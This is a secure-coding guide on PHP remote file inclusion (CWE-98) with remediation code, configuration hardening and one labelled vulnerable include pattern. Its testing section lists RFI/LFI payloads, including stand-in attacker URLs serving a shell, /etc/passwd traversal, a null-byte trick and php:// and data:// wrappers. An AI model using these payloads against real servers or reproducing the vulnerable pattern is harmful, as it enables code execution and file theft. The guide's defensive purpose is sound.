Skip to content

CWE-98: PHP Remote File Inclusion

Overview

Remote File Inclusion (RFI) in PHP occurs when untrusted input is used in file inclusion functions (e.g., include, require) without proper validation, allowing attackers to execute arbitrary code from remote sources. Untrusted input can originate from HTTP requests, external APIs, databases, files, cookies, or any source outside the application's control.

OWASP Classification

A05:2025 - Injection

Risk

Critical: Attackers can execute arbitrary PHP code, compromise the server, and gain full control of the application.

Remediation Steps

Core principle: Never allow untrusted input to select files for inclusion or execution; includes must resolve only to server-controlled, allowlisted local files, and remote inclusion must be disabled.

Trace the Data Path

Analyze how untrusted data reaches file inclusion:

  • Source: Identify where untrusted data enters (HTTP requests, external files, databases, network requests, cookies)
  • Path Construction: Look for string concatenation or direct use in include/require
  • Sink: Locate file inclusion functions (include, require, include_once, require_once)
  • Remote Access: Check if URLs are allowed in inclusion

Use Allowlists for Included Files (Primary Defense)

Never use untrusted data directly in include/require:

  • Define allowed files: Maintain explicit list of permitted includes
  • Map untrusted input to allowlist: Validate input against pre-defined safe values, system maps to actual file
  • Exact matching only: No partial matches or pattern matching
  • Example:
<?php
$allowed = ['home.php', 'about.php', 'contact.php'];
$page = $_GET['page'];
if (in_array($page, $allowed, true)) {
    include($page);
} else {
    include('home.php'); // default
}

Why this works: Users can only trigger inclusion of pre-approved files.

Disable Dangerous PHP Settings

Harden PHP configuration:

  • Set allow_url_include=Off: Prevents remote file inclusion
  • Set allow_url_fopen=Off: Disables URL access in file functions
  • Restrict file inclusion to local files only
  • Configure in php.ini or .htaccess
allow_url_include = Off
allow_url_fopen = Off

Validate and Sanitize File Paths

If dynamic inclusion is required:

  • Reject dangerous patterns: Paths containing .., URLs (http://, ftp://), or null bytes
  • Use realpath(): Resolve symlinks and validate canonical path
  • Verify containment: Ensure resolved path stays within allowed directory
  • Remove special characters: Strip path separators, null bytes
<?php
$base_dir = '/var/www/includes/';
$file = basename($_GET['file']); // Remove directory components
$full_path = realpath($base_dir . $file . '.php');
if ($full_path && strpos($full_path, $base_dir) === 0) {
    include($full_path);
}

Monitor and Log Inclusion Attempts

Enable detection:

  • Log all file inclusion operations with requested paths
  • Alert on failed inclusions: Track rejected or suspicious paths
  • Monitor for URL patterns: Detect http://, ftp://, data:// in inputs
  • Review logs regularly: Identify attack attempts

Test with RFI/LFI Payloads

Verify your fixes:

  • Remote file inclusion: http://evil.com/shell.txt, ftp://attacker.com/code.php
  • Local file inclusion: ../../../../etc/passwd, ..\..\..\windows\system.ini
  • Null byte injection: allowed.php%00../../etc/passwd
  • URL wrappers: php://input, data://text/plain;base64,PHNjcmlwdD4...
  • Ensure legitimate includes still work
  • Re-scan with security scanner

Dynamic Scan Guidance

For guidance on remediating this CWE when detected by dynamic (DAST) scanners:

Common Vulnerable Patterns

  • Using untrusted input in include/require without validation
  • Allowing remote URLs in file inclusion

Direct User Input in File Inclusion (PHP)

<?php
// Dangerous: includes file from untrusted input
include($_GET['page']);

Secure Patterns

Allowlist-Based File Inclusion (PHP)

<?php
// Use allowlist for safe includes
$allowed = ['home.php', 'about.php', 'contact.php'];
$page = $_GET['page'];
if (in_array($page, $allowed, true)) {
    include($page);
} else {
    include('home.php'); // Safe default
}

Why this works:

  • Restricts file inclusion to a pre-approved allowlist, preventing arbitrary file access
  • User input never directly controls the file path, eliminating remote/local file inclusion
  • Uses strict comparison (true parameter) to prevent type juggling attacks
  • Falls back to a safe default when input doesn't match, preventing error disclosure
  • Combined with allow_url_include=Off, completely blocks remote file inclusion vectors

Additional Resources